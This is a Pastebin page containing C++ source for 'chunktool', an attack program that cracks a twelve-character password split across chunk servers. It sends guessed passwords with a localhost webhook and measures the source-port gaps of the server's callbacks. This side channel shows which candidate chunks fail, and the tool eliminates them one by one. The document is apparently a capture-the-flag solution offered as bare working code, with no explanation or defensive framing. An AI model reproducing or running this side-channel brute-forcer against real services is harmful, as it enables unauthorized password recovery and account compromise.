Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <string.h>
- #include <stdlib.h>
- #include <cstdlib>
- #include <cmath>
- #include <string>
- #include <pthread.h>
- #include <limits.h>
- #include <curl/curl.h>
- #include <curl/easy.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <netdb.h>
- #include <arpa/inet.h>
- using namespace std;
- struct sieveEntry {
- string number;
- int min;
- int max;
- int tries;
- bool good;
- };
- struct curlWrite {
- const char *readptr;
- int sizeleft;
- };
- struct ThreadData {
- int listenPort;
- int current;
- sieveEntry *sieve;
- volatile bool gogogo;
- };
- static size_t readCallback(void *ptr, size_t size, size_t nmemb, void *userp) {
- struct curlWrite *dataWrite = (struct curlWrite *)userp;
- if (size*nmemb < 1)
- return 0;
- if (dataWrite->sizeleft) {
- *(char *)ptr = dataWrite->readptr[0];
- dataWrite->readptr++;
- dataWrite->sizeleft--;
- return 1;
- }
- return 0;
- }
- string chunksToString(string chunks[4]) {
- return chunks[0] + chunks[1] + chunks[2] + chunks[3];
- }
- int createSieve(sieveEntry *sieve, int start, int end) {
- //string sieve[end-start+1];
- for (int i = start; i < end; i++) {
- char chunk[3];
- sprintf(chunk, "%03d", i);
- sieve[i] = {chunk, INT_MAX, INT_MIN, 0, true};
- }
- return 0;
- }
- void *listenForConnections(void *threadArg) {
- struct ThreadData *data;
- data = (struct ThreadData *) threadArg;
- struct sockaddr_storage their_addr;
- socklen_t addr_size;
- struct addrinfo hints, *res;
- int sockfd, new_fd;
- char s[INET6_ADDRSTRLEN];
- memset(&hints, 0, sizeof hints);
- hints.ai_family = AF_UNSPEC;
- hints.ai_socktype = SOCK_STREAM;
- hints.ai_flags = AI_PASSIVE;
- char lPort[6];
- sprintf(lPort, "%d", data->listenPort);
- getaddrinfo(NULL, lPort, &hints, &res);
- sockfd = socket(res->ai_family, res->ai_socktype, res->ai_protocol);
- bind(sockfd, res->ai_addr, res->ai_addrlen);
- listen(sockfd, 10);
- int lastSeenPort = INT_MAX;
- //accept
- while(1) {
- addr_size = sizeof their_addr;
- new_fd = accept(sockfd, (struct sockaddr *) &their_addr, &addr_size);
- if (new_fd == -1) {
- continue;
- }
- getpeername(sockfd, (struct sockaddr *)&their_addr, &addr_size);
- int theirPort = ntohs((((struct sockaddr_in*)((struct sockaddr *)&their_addr))->sin_port));
- printf("%d\n", theirPort);
- close(new_fd);
- int diff = abs(theirPort - lastSeenPort);
- if (data->sieve[data->current].min > diff) {
- data->sieve[data->current].min = diff;
- }
- if (data->sieve[data->current].max < diff) {
- data->sieve[data->current].max = diff;
- }
- data->sieve[data->current].tries++;
- printf("[try %d] %d: diff = %d, port is now %d, was %d\n", data->sieve[data->current].tries, data->current, diff, theirPort, lastSeenPort);
- lastSeenPort = theirPort;
- data->gogogo = true;
- }
- }
- int main(int argc, char *argv[]) {
- if (argc != 8) {
- printf("Usage is: chunktool <listen-port> <chunkservice> <known-string> <chunk-number> <start> <end> <max-repeats>\n");
- return 1;
- }
- int listenPort = atoi(argv[1]);
- string chunkServer = argv[2];
- string knownString = argv[3];
- int chunkNumber = atoi(argv[4]);
- int chunkStart = atoi(argv[5]);
- int chunkEnd = atoi(argv[6]);
- int maxRepeats = atoi(argv[7]);
- string chunks[4];
- chunks[0] = knownString.substr(0,3);
- chunks[1] = knownString.substr(3,3);
- chunks[2] = knownString.substr(6,3);
- chunks[3] = knownString.substr(9,3);
- printf("Starting chunktool using the following configuration\n");
- printf("=========\n");
- printf("Listen Port: %d\n", listenPort);
- printf("Chunk Server: %s\n", chunkServer.c_str());
- printf("Chunk Data:\n");
- printf(" Known Data: %s-%s-%s-%s\n", chunks[0].c_str(), chunks[1].c_str(), chunks[2].c_str(), chunks[3].c_str());
- printf(" Chunk Number: %d\n", chunkNumber);
- printf(" Start: %d\n", chunkStart);
- printf(" End: %d\n", chunkEnd);
- printf("Max Repeats: %d\n", maxRepeats);
- sieveEntry sieve[chunkEnd];
- createSieve(sieve, chunkStart, chunkEnd);
- int lastPort = 0;
- int disqualifyingMinimum = 1+chunkNumber;
- pthread_t listenPortThread;
- struct ThreadData sharedData;
- sharedData.listenPort = listenPort;
- sharedData.sieve = sieve;
- sharedData.current = 0;
- int threadReturn = pthread_create(&listenPortThread, NULL, listenForConnections, (void *)&sharedData);
- CURL *curl;
- curl = curl_easy_init();
- for(int c=chunkStart; c <chunkEnd; c++) {
- sharedData.current = c;
- for (int k =0; k < maxRepeats; k++) {
- // do http call
- CURLcode res;
- chunks[chunkNumber-1]=sieve[c].number.c_str();
- char data[61];
- char contentLengthHeader[18];
- sprintf(data, "{\"password\": \"%s\", \"webhooks\": [\"127.0.0.1:%d\"]}", chunksToString(chunks).c_str(), listenPort);
- struct curlWrite cWrite;
- cWrite.readptr = data;
- cWrite.sizeleft = strlen(data);
- sprintf(contentLengthHeader, "Content-Length: %d", int(strlen(data)));
- if (!curl) {
- curl = curl_easy_init();
- }
- if(curl) {
- curl_easy_setopt(curl, CURLOPT_URL, chunkServer.c_str());
- curl_easy_setopt(curl, CURLOPT_POST, 1L);
- curl_easy_setopt(curl, CURLOPT_READFUNCTION, readCallback);
- curl_easy_setopt(curl, CURLOPT_READDATA, &cWrite);
- struct curl_slist *header = NULL;
- header = curl_slist_append(header, "Content-Type: application/x-www-form-urlencoded");
- header = curl_slist_append(header, "Connection: Keep-Alive");
- header = curl_slist_append(header, contentLengthHeader);
- curl_easy_setopt(curl, CURLOPT_HTTPHEADER, header);
- curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, NULL);
- FILE *pagefile;
- pagefile= fopen("curl-output", "wb");
- curl_easy_setopt(curl, CURLOPT_WRITEDATA, pagefile);
- curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
- sharedData.gogogo = false;
- res = curl_easy_perform(curl);
- if (res != CURLE_OK) {
- fprintf(stderr, "curl_easy_perform() failed %s\n", curl_easy_strerror(res));
- }
- fclose(pagefile);
- }
- while (sharedData.gogogo == false ){}
- if (sharedData.sieve[c].min <= disqualifyingMinimum) {
- printf("[try %d] DQ %d due to minimum difference, difference %d - %s\n", k+1, c, sharedData.sieve[c].min, chunksToString(chunks).c_str());
- sharedData.sieve[c].good = false;
- break;
- }
- }
- }
- curl_easy_cleanup(curl);
- printf("Remaining Numbers\n");
- printf("=================\n");
- for(int c = chunkStart; c < chunkEnd; c++) {
- if (sharedData.sieve[c].good) {
- printf("%s\n", sharedData.sieve[c].number.c_str());
- }
- }
- exit(1);
- }
Add Comment
Please, Sign In to add comment